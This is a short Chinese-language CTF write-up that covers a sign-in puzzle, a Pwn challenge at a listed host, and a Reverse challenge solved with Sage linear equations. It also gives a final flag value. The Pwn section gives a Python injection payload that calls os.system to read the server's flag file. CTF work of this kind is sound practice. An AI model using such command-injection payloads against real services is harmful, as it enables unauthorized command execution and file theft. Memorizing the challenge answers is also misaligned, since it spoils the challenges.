Misc
签到
the_best_ctf_game
附件(提取码:kkgs)
仔细观察即可得到flag
Pwn
babyjsc
题目描述:nc 101.200.53.148 13465
非预期解(不看附件
`__import__('os').system('cat home/ctf/flag')
`
Reverse
z3
附件(提取码:v02b)
转十进制,解五组方程组(仅举一个例子
12094=34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59
25270=27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59
19330=24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59
18540=78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59
16386=48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59
21207=15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59
11759=26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59
sage一把梭哈
sage在线工具/sage(提取码:cbgy)
具体操作如下:
var('v53,v54,v55,v56,v57,v58,v59')
s1 = 12094 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59
s2 = 25270 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59
s3 = 19330 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59
s4 = 18540 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59
s5 = 16386 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59
s6 = 21207 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59
s7 = 11759 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59
solve([s1,s2,s3,s4,s5,s6,s7],v53,v54,v55,v56,v57,v58,v59)
以此类推,得到结果:
组合以上结果,解密得到flag:flag{7e171d43-63b9-4e18-990e-6e14c2afe648}
脚本如下:
s=''
for i in flag:
s+=chr(i)
print s
最后一次更新于2022-04-27
0 条评论